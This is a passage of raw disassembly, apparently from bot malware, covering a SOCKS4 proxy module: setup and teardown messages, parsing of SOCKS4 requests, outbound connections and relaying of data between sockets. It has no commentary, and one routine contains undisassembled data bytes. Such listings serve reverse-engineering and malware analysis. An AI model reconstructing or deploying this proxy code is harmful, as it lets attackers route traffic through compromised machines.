byte_4D8075 call sub_401857 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017EE push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch pop edi pop esi pop ebx retn sub_42AE10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AEE0 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE5 test [esp+4+arg_0], 1 jz short loc_42AEF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AEF8: ; CODE XREF: sub_42AEE0+Dj mov eax, esi pop esi retn 4 sub_42AEE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF10 proc near ; CODE XREF: sub_401BE5j push esi mov esi, ecx push edi mov edi, dword_511C9C mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43F14C cmp eax, 0FFFFFFFFh jz short loc_42AF2E push eax call edi loc_42AF2E: ; CODE XREF: sub_42AF10+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42AF3C push eax call edi loc_42AF3C: ; CODE XREF: sub_42AF10+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_4017A8 pop edi pop esi retn sub_42AF10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AF80: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402126 test byte ptr [esp+8], 1 jz short loc_42AF98 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AF98: ; CODE XREF: ___:0042AF8Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFB0 proc near ; CODE XREF: sub_402126j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43F15C cmp eax, 0FFFFFFFFh jz short loc_42AFCB push eax call near ptr 71AB9639h nop loc_42AFCB: ; CODE XREF: sub_42AFB0+12j mov ecx, esi call sub_4017A8 pop esi retn sub_42AFB0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFF0 proc near ; CODE XREF: sub_40213Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AFF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F16C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AFF0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B060: ; CODE XREF: ___:0040187Fj ; ___:loc_401B18j push esi mov esi, ecx call sub_401FA5 test byte ptr [esp+8], 1 jz short loc_42B078 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B078: ; CODE XREF: ___:0042B06Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B090 proc near ; CODE XREF: sub_401FA5j jmp sub_4017A8 sub_42B090 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0B0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_511CA4 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi cmp eax, 1 jge short loc_42B0F1 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B0F1: ; CODE XREF: sub_42B0B0+27j cmp [esp+830h+var_81D], 4 jnz loc_42B2DC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi cmp eax, 1 jge short loc_42B12E mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B0B0+64j cmp [esp+830h+var_807], 1 jnz loc_42B2DC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx call near ptr 71AB3B91h nop mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_42B1C9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_511CAC lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi loc_42B226: ; CODE XREF: sub_42B0B0+1AFj ; sub_42B0B0+1FEj ... mov edi, dword_511CA4 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi mov esi, eax test esi, esi jz loc_42B2CA jge short loc_42B261 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_42B261 push 0Ah nop call near ptr 2830386h jmp short loc_42B226 ; --------------------------------------------------------------------------- loc_42B261: ; CODE XREF: sub_42B0B0+198j ; sub_42B0B0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi mov esi, eax test esi, esi jz short loc_42B2CA jge short loc_42B2B3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B2B3 push 0Ah nop call near ptr 2830386h jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j ; sub_42B0B0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2CA: ; CODE XREF: sub_42B0B0+192j ; sub_42B0B0+1E5j mov eax, [ebp+0A1h] mov esi, dword_511C9C push eax call esi push ebx call esi loc_42B2DC: ; CODE XREF: sub_42B0B0+46j ; sub_42B0B0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_42B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B380 proc near ; CODE XREF: sub_40218Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B380 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F17C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B380 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C4E test [esp+4+arg_0], 1 jz short loc_42B408 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B408: ; CODE XREF: sub_42B3F0+Dj mov eax, esi pop esi retn 4 sub_42B3F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B420 proc near ; CODE XREF: sub_401C4Ej jmp sub_4017A8 sub_42B420 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B440 proc near ; CODE XREF: sub_40189Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B440 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017EE push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42B649 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax call near ptr 71AB2B66h nop mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42B516 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B516: ; CODE XREF: sub_42B440+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42B600 loc_42B52C: ; CODE XREF: sub_42B440+1BAj mov eax, [esi+9Dh] push 0Ah push eax call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_42B550 push 0FAh nop call near ptr 2830386h jmp loc_42B5EC ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: sub_42B440+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42B600 xor edi, edi cmp ebp, edi jz loc_42B600 push 0A5h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B59E mov ecx, eax call sub_40213A mov edi, eax loc_42B59E: ; CODE XREF: sub_42B440+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FDC mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42B5EC: ; CODE XREF: sub_42B440+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B52C loc_42B600: ; CODE XREF: sub_42B440+E6j ; sub_42B440+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42B614 push eax nop call near ptr 71AB9639h loc_42B614: ; CODE XREF: sub_42B440+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017EE push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_42B649: ; CODE XREF: sub_42B440+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6F0 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42B711 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42B711: ; CODE XREF: sub_42B6F0+Dj xor al, al retn 8 sub_42B6F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B730 proc near ; CODE XREF: sub_4020E0j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42B751: ; CODE XREF: sub_42B730+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B76A: ; CODE XREF: sub_42B730+45j cmp [ecx], ebx jz short loc_42B777 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B76A loc_42B777: ; CODE XREF: sub_42B730+3Cj cmp eax, 1 jnz short loc_42B788 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42B788: ; CODE XREF: sub_42B730+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 nop call near ptr 71AB2DC0h test eax, eax jbe short loc_42B813 cmp eax, 0FFFFFFFFh jz short loc_42B813 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42B7BC mov eax, ebp mov ebp, ebx jmp short loc_42B7BE ; --------------------------------------------------------------------------- loc_42B7BC: ; CODE XREF: sub_42B730+84j mov eax, ebx loc_42B7BE: ; CODE XREF: sub_42B730+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax call near ptr 71AB615Ah nop mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42B862 test edi, edi jz short loc_42B862 jbe short loc_42B80C loc_42B7EB: ; CODE XREF: sub_42B730+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42B862 add esi, eax cmp esi, edi jb short loc_42B7EB loc_42B80C: ; CODE XREF: sub_42B730+B9j mov ebp, [esp+51Ch+arg_0] loc_42B813: ; CODE XREF: sub_42B730+70j ; sub_42B730+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B825: ; CODE XREF: sub_42B730+100j cmp [ecx], ebx jz short loc_42B832 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B825 loc_42B832: ; CODE XREF: sub_42B730+F7j cmp eax, 1 jnz short loc_42B844 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42B844: ; CODE XREF: sub_42B730+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42B751 loc_42B862: ; CODE XREF: sub_42B730+B3j ; sub_42B730+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42B730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8E0 proc near ; CODE XREF: sub_401C30j var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42B97F dec eax jz short loc_42B92A dec eax jnz loc_42BA72 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42B92A: ; CODE XREF: sub_42B8E0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_401758 test al, al jz loc_42BA72 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42B99B ; --------------------------------------------------------------------------- loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj mov ebx, dword_511C3C push 11h push 2 push 2 call ebx push 11h push 2 push 2 mov edi, eax call ebx cmp edi, 0FFFFFFFFh jz loc_42BA72 cmp eax, 0FFFFFFFFh jnz loc_42BA72 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_511C68 push edx push esi push edi call ebp mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi call near ptr 71AB3E00h nop test eax, eax jnz short loc_42BA72 loc_42B9F9: ; CODE XREF: sub_42B8E0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp test esi, esi jbe short loc_42BA56 cmp esi, 0FFFFFFFFh jnz short loc_42B9F9 loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj mov esi, dword_511C9C push edi call esi push 0FFFFFFFFh call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42BA72: ; CODE XREF: sub_42B8E0+35j ; sub_42B8E0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42B8E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42BDBA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42BED6 mov edi, dword_511C94 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi test eax, eax jle loc_42BF63 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_438256 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 0E8905600h dd 7168868Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42BDBA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017EE mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42BCEF test al, al jz short loc_42BCEB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42BCEF add ecx, 2 add edi, 2 test al, al jnz short loc_42BCCB loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j xor eax, eax jmp short loc_42BCF4 ; --------------------------------------------------------------------------- loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j ; sub_42BB00+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj test eax, eax jz short loc_42BD51 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017EE lea edi, [esp+83Ch+var_100] loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42BD32 test cl, cl jz short loc_42BD2E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42BD32 add edi, 2 add eax, 2 test cl, cl jnz short loc_42BD0E loc_42BD2E: ; CODE XREF: sub_42BB00+218j xor eax, eax jmp short loc_42BD37 ; --------------------------------------------------------------------------- loc_42BD32: ; CODE XREF: sub_42BB00+214j ; sub_42BB00+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BD37: ; CODE XREF: sub_42BB00+230j test eax, eax jz short loc_42BD51 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BB00+1F6j ; sub_42BB00+239j mov edi, dword_511CA0 push 0 push 2 push offset dword_4472F4 push esi call edi lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42BDBA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42BE21 sub eax, 2 jz short loc_42BDC9 dec eax loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj jnz short loc_42BE30 loc_42BDBA: ; CODE XREF: sub_42BB00+32j ; sub_42BB00+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_401758 test al, al jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BE21: ; CODE XREF: sub_42BB00+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx cmp [esp+83Ch+var_707], 1 jnz loc_42BDBA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42BDBA push eax push 4 push offset dword_4472EC push esi call edi push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020E0 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BED6: ; CODE XREF: sub_42BB00+47j cmp ax, 2 jnz loc_42BF63 mov ebx, dword_511C94 loc_42BEE6: ; CODE XREF: sub_42BB00+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C30 test edi, edi jz short loc_42BF63 cmp edi, 0FFFFFFFFh jz short loc_42BF63 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42BEE6 loc_42BF63: ; CODE XREF: sub_42BB00+67j ; sub_42BB00+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42BB00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_401F37j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42C0B4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj xor 